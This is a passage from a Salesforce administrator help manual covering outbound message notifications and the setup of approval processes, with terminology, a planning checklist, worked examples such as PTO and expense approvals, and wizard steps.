• Click Del to delete a notification. Since you can only create five, you may need to delete one before you can create more
new notifications.
• Click New to create a new notification request.

Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.

Creating and Editing Outbound Message Notifications


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view or edit outbound message notification settings: “Modify All Data”

Workflow and approval actions that send the information you specify to an endpoint you designate, such as an external service.
An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint.
Salesforce.com creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24
hours. This notification is sent to any user that you specify by creating a notification request—one request per user. You can
create up to five notification requests.
To create a notification request, click Setup ➤ Monitoring ➤ Outbound Message Notifications, and click New to display
the edit page.

1. Enter a full user name, or click the icon to select it from a list of user names.
2. Click Save to save the request, or Save & New to save this request and start a new notification request.

Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.

831
Create Approval Processes Overview

Viewing Outbound Message Notification Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view or edit outbound message notification settings: “Modify All Data”

Workflow and approval actions that send the information you specify to an endpoint you designate, such as an external service.
An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint.
Salesforce.com creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24
hours. This notification is sent to any user that you specify by creating a notification request—one request per user. You can
create up to five notification requests.
This page is displayed when you have saved a new notification request. You can perform several tasks:

• Click Edit to change the user name for a notification request, which is simpler than deleting the request and then creating
a new one.
• Click Delete to delete the notification request.
• Click Clone to create a new notification request with the same username filled in.

Approval Processes Overview


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use approvals: Various user permissions required depending on the action

Your business runs more efficiently with automated processes. For example, you may already have workflow rules that
automatically send email alerts or assign tasks based on your internal processes. Approvals take automation one step further,
allowing you to specify a sequence of steps that are required to approve a record.
An automated process your organization can use to approve records in Salesforce.com. An approval process specifies the steps
necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the
process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is
approved, rejected, recalled, or first submitted for approval.
For example, your organization may have a two-step process for approving expenses: submitted expenses that are less than
$50 are automatically approved, those over $50 must be approved by a manager, and those over $5,000 must also be approved
by a Vice President. In this example, your approval process would specify the following:

• If an expense record is submitted for approval, lock the record so that users cannot edit it and change the status to
“Submitted.”

832
Create Approval Processes Overview

• If the amount is $50 or less, automatically approve the request.


• If the amount is greater than $50, send an approval request to the direct manager.
• If the amount is greater than $5,000 and the first approval request is approved, send an approval request to the Vice
President.
• If all approval requests are approved, change the status to “Approved” and unlock the record.
• If any approval requests are rejected, change the status to “Rejected” and unlock the record.

An approval process includes the following elements:

• A name and description to distinguish it from other approval processes


• Entry criteria if you only want records with certain attributes to be included
• A designated user who can approve requests
• Settings to specify who, if anyone, can change a record once it has been submitted for approval
• Any number of steps that determine the sequence of actions to take when a record matches the criteria. Each step can have
up to 40 actions, 10 of each type: email alerts, field updates, tasks, and outbound messages.
• Up to 40 additional actions that occur when a record is initially submitted
• Up to 40 additional actions that occur when a record is approved
• Up to 40 additional actions that occur when a record is rejected
• Up to 40 additional actions that occur when a record is recalled

To begin designing your approval processes, see Getting Started with Approval Processes on page 837.

See Also:
Creating Approval Processes
Approval Process Terminology
Examples of Approval Processes

Getting Started with Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

An automated process your organization can use to approve records in Salesforce.com. An approval process specifies the steps
necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the
process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is
approved, rejected, recalled, or first submitted for approval.
Before you begin creating an approval process:

• Review the Approval Process Checklist to prepare for your implementation and determine what wizard to use.
• Optionally, enable the email approval response option. The email approval response feature gives users the ability to approve
or reject email approval requests by replying to the email. See Customizing Workflow and Approval Settings on page 805.

833
Create Approval Processes Overview

To automate your organization's processes:

1. Create an approval process.


2. Add steps to your approval process.
3. Specify initial submission actions.
4. Specify final approval actions.
5. Specify final rejection actions.
6. Specify recall actions.
7. If this is the first approval process you are creating:

• Add the Approval History related list to the appropriate page layout. The Approval History related list lets users submit
approval requests and track a record's progress through an approval process from the record detail page. See Customizing
Page Layouts on page 620.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of
the approval requests they need to approve or reject. For instructions on adding this related list, see Designing Home
Tab Page Layouts on page 643.
• Populate all custom hierarchy fields with the appropriate values.

8. Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria,
and actions that comprise your approval process.

Note: Standard reports for approval requests are included in both the Administrative Reports folder and the Activities
Reports folder. See Administrative Reports on page 1889 and Activity Reports on page 1869.

See Also:
Approval Process Terminology
Approval Process Considerations
Managing Approval Processes
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard
Examples of Approval Processes
Using the Process Visualizer

Approval Process Terminology


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use approvals: Various user permissions required depending on the action

The following terminology is used for approval processes in Salesforce.com:

834
Create Approval Processes Overview

Approval Actions
An approval action is an action that occurs as a result of an approval process. There are four types of approval actions:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority,
and Due Date of the task.
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the
new value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the
data you want to include in the message.

Approval steps, initial submission, final approvals, final rejections, and recalls can execute approval actions. Both approval
process and workflow rules share actions.

Approval Process
An automated process your organization can use to approve records in Salesforce.com. An approval process specifies the
steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included
in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a
record is approved, rejected, recalled, or first submitted for approval. For more information, see Approval Processes
Overview on page 832.

Approval Request
An approval request is an email notifying the recipient that a record was submitted for approval and his or her approval
is requested.

Approval Steps
Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval
step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process
also allow you to specify what happens if an approver rejects the request.

Assigned Approver
The assigned approver is the user responsible for approving an approval request.

Email Approval Response


The email approval response feature gives users the ability to approve or reject email approval requests by replying to the
email.
The first line of the email body may contain one of the following words:

• approve
• approved
• yes
• reject

835
Create Approval Processes Overview

• rejected
• no

Periods and exclamation marks are also accepted at the end of the word. You can also optionally add comments in the
second line of the email body. Users can still click a link in the email to access the approval page as well. This feature is
especially useful for organizations with users who receive approval requests on mobile devices.
To enable email approval response, see Customizing Workflow and Approval Settings on page 805.
Note: Before enabling email approval response, note that you cannot use this feature with approval processes
in which the assigned approver is a queue, or in a multi-step approval process in which the next approver is
manually chosen after the first step. Also, users that use Microsoft Word as their email editor must add the
comments to the end of the first line of the reply email instead of the second.

Initial Submission Actions


Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action
to lock the record runs automatically on initial submission. Initial submission actions can include any approval actions
such as email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a
custom approval status field to “In Progress.”

Final Approval Actions


Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval
actions can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can
change the status to “Approved” and send an email notification.

Final Rejection Actions


Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection
state. Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final
rejection action can change the status to “Rejected,” send an email notification, and unlock the record so that users can
edit it before resubmitting.

Recall Actions
Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock
the record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages.
For example, a recall action can change the status of a request from “In Progress” to “Not Submitted.”

Outbound Message
Workflow and approval actions that send the information you specify to an endpoint you designate, such as an external
service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint.

Record Locking
Record locking is the process of preventing users from editing a record, regardless of field-level security or sharing
settings. Salesforce.com automatically locks records that are pending approval. Users must have the “Modify All”
object-level permission for the given object, or the “Modify All Data” permission, to edit locked records. You can still
add campaign members to campaigns locked for approval. The Initial Submission Actions, Final Approval Actions,

836
Create Getting Started with Approval Processes

Final Rejection Actions, and Recall Actions related lists contain Record Lock actions by default. You cannot edit this
default action for initial submission and recall actions.

See Also:
Approval Processes Overview
Getting Started with Approval Processes
Approval Process Checklist

Getting Started with Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

An automated process your organization can use to approve records in Salesforce.com. An approval process specifies the steps
necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the
process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is
approved, rejected, recalled, or first submitted for approval.
Before you begin creating an approval process:

• Review the Approval Process Checklist to prepare for your implementation and determine what wizard to use.
• Optionally, enable the email approval response option. The email approval response feature gives users the ability to approve
or reject email approval requests by replying to the email. See Customizing Workflow and Approval Settings on page 805.

To automate your organization's processes:

1. Create an approval process.


2. Add steps to your approval process.
3. Specify initial submission actions.
4. Specify final approval actions.
5. Specify final rejection actions.
6. Specify recall actions.
7. If this is the first approval process you are creating:

• Add the Approval History related list to the appropriate page layout. The Approval History related list lets users submit
approval requests and track a record's progress through an approval process from the record detail page. See Customizing
Page Layouts on page 620.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of
the approval requests they need to approve or reject. For instructions on adding this related list, see Designing Home
Tab Page Layouts on page 643.
• Populate all custom hierarchy fields with the appropriate values.

837
Create Getting Started with Approval Processes

8. Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria,
and actions that comprise your approval process.

Note: Standard reports for approval requests are included in both the Administrative Reports folder and the Activities
Reports folder. See Administrative Reports on page 1889 and Activity Reports on page 1869.

See Also:
Approval Process Terminology
Approval Process Considerations
Managing Approval Processes
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard
Examples of Approval Processes
Using the Process Visualizer

Approval Process Checklist


Available in: Enterprise, Unlimited, and Developer Editions

Plan each approval process carefully to ensure a successful implementation. Review the following checklist about preparing
the appropriate information before creating your approval process.

• Prepare an approval request email template.


• Determine the approval request sender.
• Determine the assigned approver.
• Determine the delegated approver.
• Decide if your approval process needs a filter.
• Design initial submission actions.
• Decide if users can approve requests from a wireless device.
• Determine if users can edit records that are awaiting approval.
• Decide if records should be auto-approved or rejected.
• Determine how many levels your process has.
• Determine the actions when an approval request is approved or rejected.

What email template do you want to use for approval requests?


The email template you specify on an approval process is used when notifying users that an approval request is assigned
to them. You can use the default email template Salesforce.com offers if it is appropriate for your approval process, or
you can create your own email template. Include the appropriate approval process merge fields to link directly to the
approval request. For details about using merge fields, see Merge Fields Overview on page 100. If your organization has
enabled email approval response, the default email template includes instructions for replying to an email approval request
by typing approve, approved, yes, reject, rejected, or no in the first line of the email body, and optionally

838
Create Getting Started with Approval Processes

adding comments in the second line. For details on email approval response and the default template, see Customizing
Workflow and Approval Settings on page 805.

Determine who should be the sender of approval requests.


The approval request notifications are automatically sent from the user who submitted the record for approval. You have
the option to assign a different return email address to these notifications. Determine what email address to use.

Who will be responsible for approving requests?


Requests can be approved or rejected by any of the following:

• A user or queue that the approval request submitter chooses.


• A queue specified by the administrator.
• A user listed in the Manager standard field on the submitter's user detail page.
• A user listed in a custom hierarchy field on the submitter's user detail page.
• Any combination of users and related users (users listed in a standard or custom field on the submitted record)
specified by the administrator.
Each step in your approval process can assign approval requests using any of these options.

Should approval requests be delegated to another user for approval?


An approval request can be approved by a designated delegate for the approver. However, you have the ability to disable
this option. Determine if you want to allow delegated users to approve requests. Then, for each user, populate the
Delegated Approver field on the user's detail page.

What records should be included in this process?


Determine what attributes a record must have to be included in your approval process. If necessary, create the custom
fields to store this information so that you can use it in your filter criteria. For example, if you want to include expense
records from your headquarters office only, create a custom picklist field called Office Location that has two options:
“HQ” and “Field.” Then, your filter criteria for the process would specify that records must have “HQ” in the Office
Location field to be included.

What should occur when a record is first submitted for approval?


When users submit a record for approval, Salesforce.com automatically locks the record so that other users cannot change
it while it is awaiting approval. You can still add campaign members to campaigns locked for approval.
Decide if you want other workflow actions to occur when a record is first submitted, such as email alerts, tasks, field
updates, and outbound messages. These actions belong on your list of Initial Submission Actions.

Should users be able to approve requests from a wireless device?


Determine if you want to require users to log in to Salesforce.com to approve requests. Alternatively, you can set up your
approval process to allow users to approve requests remotely using a wireless browser.

Who can edit records that are awaiting approval?


Records submitted for approval are automatically locked. Users with the “Modify All” object-level permission for the
given object, or the “Modify All Data” permission, can always unlock a record and edit it. However, you may also specify
that the currently assigned approver can edit the record as well. You can still add campaign members to campaigns locked
for approval.

839
Create Getting Started with Approval Processes

Should records be automatically approved, rejected, or skipped based on certain criteria?


You can set entry criteria for each step of your process, and configure Salesforce.com to automatically approve, reject,
or skip the process if a record does not meet that entry criteria. For example, all expenses submitted with an Amount
less than $15 are automatically approved.

How many people need to approve these requests?


An approval process can have several layers of approvals. Determine how many users need to approve requests and in
what order.

Should any actions take place when a request is approved or rejected?


You can set up to 40 additional actions to take place when a request is recalled, approved, or rejected at each step, up to
10 of each of the following types:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority,
and Due Date of the task.
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the
new value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the
data you want to include in the message.

Additionally, you can set up to 40 additional actions to take place when a record has received all necessary approvals or
is completely rejected.

See Also:
Getting Started with Approval Processes
Approval Processes Overview
Examples of Approval Processes

Examples of Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

Use these samples of common approval processes to help you get started creating your own:

• PTO Requests
• Expense Reports

840
Create Getting Started with Approval Processes

• Discounting Opportunities
• Job Candidates

PTO Requests
Most companies require employees to file a PTO (Paid Time Off ) request and have their manager approve it. Here's how to
automate a simple one-step PTO request process using Salesforce.com.
• If you do not yet have a custom object to track your PTO requests, create a custom object and tab called PTO Requests.
See Defining Custom Objects on page 765 and Defining Custom Tabs on page 790. Add the appropriate fields for your
PTO Requests such as Start Date, End Date, and Employee Name.
• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 109.
• Use the jump start wizard to create an approval process and specify the following:
- Select the PTO Request custom object.
- Select the email template you created for this approval process.
- No need to specify a filter criteria if you want each user to submit PTO requests and have them included regardless of
their attributes.
- In the Automatically assign an approver using a standard or custom hierarchy field option,
choose the Manager field.
- The jump start wizard automatically chooses the record owner as the only person who can submit PTO requests.
Tip: If you want the submitter to be able to withdraw a submitted PTO request:
1. Click Edit and choose Initial Submitters from the drop-down menu.
2. Select the Allow submitters to recall approval requests option.
If the Allow submitters to recall approval requests option is selected for the approval process, both submitters
and administrators can see the Recall Approval Request button in the Approval History related list on the detail
page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request,
the pending approval request for the record is withdrawn and recall actions are run. For more information, see
Recall Actions on page 874.

• Add the Approval History related list to the PTO Request object page layout. See Customizing Page Layouts on page
620.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 643.
• If available, use your sandbox to test the approval process.
• Activate the approval process.

Expense Reports
If your company requires that employees file expense reports for managers to approve, automate this process in Salesforce.com.
Use this example to create a two-step expense report approval process for all employees in your headquarters office. It specifies
that expenses less than $50.00 are automatically approved, those $50 and over require manager approval, and those over $5,000
require additional approval from two VPs. This example highlights the “else” option, as well as the parallel approvals feature.

• If you do not yet have a custom object to track your expenses, create a custom object and tab called Expense Reports. See
Defining Custom Objects on page 765 and Defining Custom Tabs on page 790. Add the appropriate fields such as Amount,
Description, Status, Start Date, and End Date.

841
Create Getting Started with Approval Processes

• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 109.
• Create a custom field on the user object called Office Location. Assign the “HQ” value to users in the headquarters
office location.
• Create the approval process and specify the following:

- Select the Expense Report custom object.


- The filter criteria for this approval process is Current User: Office Location equals HQ. Records must
meet this criteria before they can be submitted to this approval process.
- Choose the Manager field as the next automated approver.
- Select the email template you created for this approval process.
- Choose the record owner or any other user who you want to be able to submit expense reports.
- Create two approval steps:
Name this step Step 1: Manager Approval

› Select Enter this step if the following and choose criteria are met. Also, choose approve record
for the else option.
› Set the filter criteria to: Expense: Amount greater or equal 50.
› In the Automatically assign to approver(s) option, select the manager of the user submitting the
request.
› If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.

Name this step Step 2: Multiple VP Approval

› Use the filter criteria Expense Amount greater or equal 5000.


› Choose Automatically assign to approver(s) and select two users with a VP role.
› Select the Require UNANIMOUS approval from all selected approvers option. The request
will not be approved unless both designated users approve.
› If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.
› Choose Perform ONLY the rejection actions for this step... so that the request returns to
the manager for changes if one of the VPs rejects the request.

- Consider creating the following final approval actions:

› Define a field update to automatically change the Status field to “Approved.”


› Send an approval notification to the user who submitted the expense report.
› Send an outbound message to your backoffice financial system to print a reimbursement check.

• Add the Approval History related list to the Expense Report object page layout. See Customizing Page Layouts on page
620.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 643.
• If available, use your sandbox to test the approval process.
• Activate the approval process.

842
Create Getting Started with Approval Processes

Discounting Opportunities
Opportunities that are discounted more than 40% require a CEO approval. Use this example to create a one-step approval
process.

• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 109.
• Create a custom percent field on opportunities called Discount Percent so that users can enter a percentage discount.
• Create a custom checkbox field on opportunities called Discount Approved to indicate if the CEO approved the
discount.
• Create the approval process and specify the following:

- Select the Opportunity object.


- The filter criteria for this approval process is Discount Percent greater or equal 0.04. Records must
meet this criteria before they can be submitted to this approval process.
- No need to choose a custom field as the next automated approver because you will specify later in the process that the
CEO must approve all requests.
- Select the email template you created for this approval process.
- Choose the record owner as the only user who can submit a discount request for approval.
- Create one approval step with no filter criteria because all records submitted will need to be approved or rejected. See
Creating Approval Steps on page 853.
- Choose Automatically assign to approver(s) and select the name of your CEO.
- If appropriate, choose The approver's delegate may also approve this request if you want to allow
the user in the Delegated Approver field to approve requests.
- Consider creating the following final approval actions:

› Send an approval notification to the user who submitted the discount request.
› Define a field update to automatically select the opportunity Discount Approved checkbox field.

• Add the Approval History related list to the appropriate opportunity page layouts See Customizing Page Layouts on page
620.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 643.
• If available, use your sandbox to test the approval process.
• Activate the approval process.

Job Candidates
When your company interviews candidates for a position, you may have several levels of approval before you can send an offer
letter. Use this example to create a three-step approval process that requires approval from multiple levels of management.

• If you do not yet have a custom object to track candidates, create a custom object and tab called Candidates. See Defining
Custom Objects on page 765 and Defining Custom Tabs on page 790. Add the appropriate fields such as Salary, Offer
Extended (checkbox), and Date of Hire.
• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 109.

843
Create Getting Started with Approval Processes

• Create the approval process using the following specifications:

- Select the Candidate custom object.


- No need to enter a filter criteria because you want all submitted offers to be approved.
- Choose the Manager field as the next automated approver.
- Select the email template you created for this approval process.
- Choose the record owner or any other user that you want to be able to submit offer letters.
- Create three approval steps:
Name this step Step 1: Manager Approval

› No filter necessary as you want all records to advance to this step.


› In the Automatically assign to approver(s) option, select the manager of the user submitting the
request.
› If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.

Name this step Step 2: VP Approval

› No filter necessary as you want all records to advance to this step.


› Choose Let the user choose the approver to allow the manager to select the appropriate VP to
approve the request.
› If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.
› Choose Perform ONLY the rejection actions for this step... so that the request returns to
the manager for changes if the VP rejects the request.

Name this step Step 3: CFO Approval

› No filter necessary as you want all records to advance to this step.


› Choose Automatically assign to approver(s) and select the name of your CFO.
› If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.
› Choose Perform all rejection actions for this step AND all final rejection
actions. (Final Rejection) so that offer letters rejected by your CFO are completely rejected.

- Consider creating the following final approval actions:

› Send an approval notification to the user who submitted the offer letter request.
› Define a field update to select the Offer Extended checkbox field.

- Consider creating the following final rejection actions:

› Send a notification to the manager that the offer will not be extended.

• Add the Approval History related list to the Candidates object page layout. See Customizing Page Layouts on page 620.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 643.

844
Create Getting Started with Approval Processes

• If available, use your sandbox to test the approval process.


• Activate the approval process.

Choosing an Approval Process Wizard


Available in: Enterprise, Unlimited, and Developer Editions

Approval processes require planning and preparation. Before you create an approval process, determine which wizard is best
for your needs.
Jump Start Wizard
The jump start wizard is useful for simple approval processes with a single step. Use the jump start wizard if you want
to create an approval process quickly by allowing Salesforce.com to automatically choose some default options for you.
For a list of the options the jump start wizard chooses automatically, see Approval Process Jump Start Default Selections
on page 890.
To create an approval process using the jump start wizard, see Using the Approval Process Jump Start Wizard on page
886.

Standard Wizard
The standard wizard is useful for complex approval processes. Use it when you want to fine tune the steps in your approval
process. The standard wizard consists of a setup wizard that allows you to define your process and another setup wizard
that allows you to define each step in the process.
To create an approval process using the standard wizard, see Creating Approval Processes on page 848.

See Also:
Approval Processes Overview
Getting Started with Approval Processes
Examples of Approval Processes

Approval Process Considerations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use approvals: Various user permissions required depending on the action

Before you implement an approval process for your organization, consider the following:

845
Create Getting Started with Approval Processes

• Active approval processes cannot be deleted but they can be deactivated. Before deleting an approval process, make sure
it is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and
remove them from the Recycle Bin.
• You can enable email approval response. The email approval response feature gives users the ability to approve or reject
email approval requests by replying to the email.
• After an approval process has been activated, you cannot add, delete, or change the sorting of the steps or change reject or
skip behavior for that process—even if you make the process inactive.
• There is a limit of 15 approval steps per approval process.
• There is a limit of 25 approvers per step.
• Educate your users on the criteria for each approval process and what each of your approval processes does. Users cannot
tell what approval process is triggered when they click Submit for Approval.
• Records are locked while in an approval process. The ability to edit a locked record depends on the record editability setting
of the approval process:

- Administrators ONLY: Only users with the “Modify All” object-level permission for the given object, or the “Modify
All Data” permission, can edit locked records.
- Administrators or the currently assigned approver...: The current approver and users who match
the Administrators ONLY criteria can edit locked records. The current approver must also have edit access to the
record through their profile permissions and the organization-wide sharing defaults for the given object.

You can still add campaign members to campaigns locked for approval.
• An error message displays for the user submitting an approval request if the approval request needs to go to the user's direct
manager and there is no direct manager for that user.
• An error message displays for the user submitting an approval request if the approval process has a field update that fails
field validation rules. This could happen for a field that is not visible on the user's page layout.
• The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval
process, Salesforce.com recommends creating a custom status field.
• Approval processes that allow the user to select an approver manually also allow the user submitting a request to select
himself or herself as the approver.
• You cannot use email approval response with approval processes in which the assigned approver is a queue.
• You cannot create outbound messages for approval processes on junction objects.
• When the assigned approver is a queue:
- Any queue member can approve or reject an approval request that is assigned to the queue.
- When an approval request is assigned to a queue, the email notification is sent to the email address for the queue.
Depending on your queue settings, an email notification is also sent to each queue member.
- When an approval request is rejected and returned to the previous approver and the previous approver was a queue, the
approval request is assigned to the user who approved it, instead of the queue.
- The Approval History related list displays the queue name in the Assigned To column and the actual user who
approved or rejected the approval request in the Actual Approver column.
- Delegates of all queue members can approve requests when the process step is configured to allow delegated approvers.

846
Create Managing Approval Processes

Note: Queues are only available on specific objects. For more information on queues, see Managing Queues on
page 170.

See Also:
Getting Started with Approval Processes
Approval Process Terminology
Approval Processes Overview
Using the Process Visualizer
Examples of Approval Processes

Managing Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, delete, or clone approval processes: “Customize Application”
To view approval processes: “View Setup and Configuration”

An automated process your organization can use to approve records in Salesforce.com. An approval process specifies the steps
necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the
process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is
approved, rejected, recalled, or first submitted for approval.
To manage approval processes, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.

• Select an object from the drop-down list to create, edit, or delete approval processes for that object.
• To create a new approval process, click Create New Approval Process. See Creating Approval Processes on page 848.
• To change the order of your active approval processes, change the numbers in the Process Order column and click Reorder.
• Click Del next to an inactive approval process to delete it. Before deleting an approval process, make sure it is inactive and
that no records have been submitted for approval. If any records have been submitted, delete them and remove them from
the Recycle Bin.
• Click Edit next to an approval process to change it.
• Click Activate next to an inactive approval process to activate it. An approval process must have at least one step before
you can activate it.
• Click Deactivate next to an active approval process to make it inactive. The approval process moves to the list of inactive
approval processes.
• Select an approval process to view the details:

- Click Clone to create a new approval process based on the selected approval process.
- Click Deactivate to make the approval process inactive.

847
Create Managing Approval Processes

- Click Delete to delete an inactive approval process. Before deleting an approval process, make sure it is inactive and
that no records have been submitted for approval. If any records have been submitted, delete them and remove them
from the Recycle Bin.
- Click Edit and choose an option from the drop-down button to jump to the appropriate wizard page:

› Specify Name, Unique Name, and Description


› Specify Criteria for Entering Process
› Specify Approver Field and Record Editability
› Select Email Notification Template
› Configure Approval Request Page Layout
› Specify Initial Submitters

Tip: You can use the System Log console to debug workflow rules. The System Log console lets you view debug log
details and information about workflow rules and actions , such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.

See Also:
Getting Started with Approval Processes
Approval Process Terminology
Approval Process Checklist
Managing Multiple Approval Requests
Using the Process Visualizer
Examples of Approval Processes

Creating Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

An automated process your organization can use to approve records in Salesforce.com. An approval process specifies the steps
necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the
process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is
approved, rejected, recalled, or first submitted for approval.
Before you begin, determine which wizard to use. See Choosing an Approval Process Wizard on page 845. To create an approval
process:

1. Launch the Approval Process Wizard.


2. Specify Name, Unique Name, and Description.
3. Specify Criteria for Entering Process.

848
Create Managing Approval Processes

4. Specify Approver Field and Record Editability.


5. Select Email Notification Template.
6. Configure Approval Request Page Layout.
7. Specify Initial Submitters.
8. Activate the Approval Process.

Launch the Approval Process Wizard


1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.
2. Choose the object for the new approval process.
3. Click Create New Approval Process and choose Use Standard Setup Wizard from the drop-down button. Alternatively,
click Use Jump Start Wizard if you want to create a basic approval process with default settings. For instructions on using
the jump start wizard, see Using the Approval Process Jump Start Wizard on page 886.

Specify Name, Unique Name, and Description


1. Enter a name for the new approval process.
2. Enter a unique name, which will be used to refer to this approval process in the Force.com API. In managed packages,
this unique name prevents naming conflicts on package installations. The requirement for uniqueness is only within the
selected object type. You can have two approval processes with the same unique name, provided they are defined for
different objects, such as one for Campaigns and one for Opportunities. The Unique Name field can contain only
underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.
3. Optionally, enter a description to distinguish this approval process from others.
4. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.

Specify Criteria for Entering Process


If only certain types of records should enter this approval process, do one of the following:
• Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process. For
example, if only employees from headquarters should use this approval process to submit expense reports, enter the following
filter criteria: “Current User: Office Location Equals Headquarters.” For more information on using filter criteria, see
Entering Filter Criteria on page 1916.
1. Enter your filter criteria for records that you want included in this approval process. Leave the filter blank if you want
all records submitted to be included in the approval process. For information on using filter criteria, see Entering Filter
Criteria on page 1916.
Note: Select a current user field if you want the filter based on the user submitting an approval request.

2. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.

• Select formula evaluates to true if you want a formula to determine what records enter the approval process.
1. Enter a formula that returns “True” or “False.” A record enters the approval process if the formula returns “True.” For
example, use the following formula to require a record to enter this approval process when the record's discount approval
cutoff date is less than 30 days away:

(Discount_Approval_CutoffDate__c < (CloseDate - 30)

849
Create Managing Approval Processes

2. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.
For information on using formulas, see Building Formulas on page 497. Some functions are not available in approval process
formulas. For information on which functions you can use in approval process formulas, see Operators and Functions on
page 548.

Specify Approver Field and Record Editability


When you define approval steps, you can assign approval requests to different users. One option is to use a user field to
automatically route these requests. The user field can be any custom hierarchical relationship field such as Account Manager
or the Manager standard user field. To see some examples of specifying a user field as an approver field, see Examples of
Approval Processes on page 840.
When a record is in the approval process, it is always locked; only an administrator can edit it. However, you may choose to
also allow the currently-assigned approver to edit the record. You can still add campaign members to campaigns locked for
approval.
1. From the Next Automated Approver Determined By picklist, select a user field if you want Salesforce.com to
automatically assign approval requests to an approver based on the value in the user field. For example, you may want
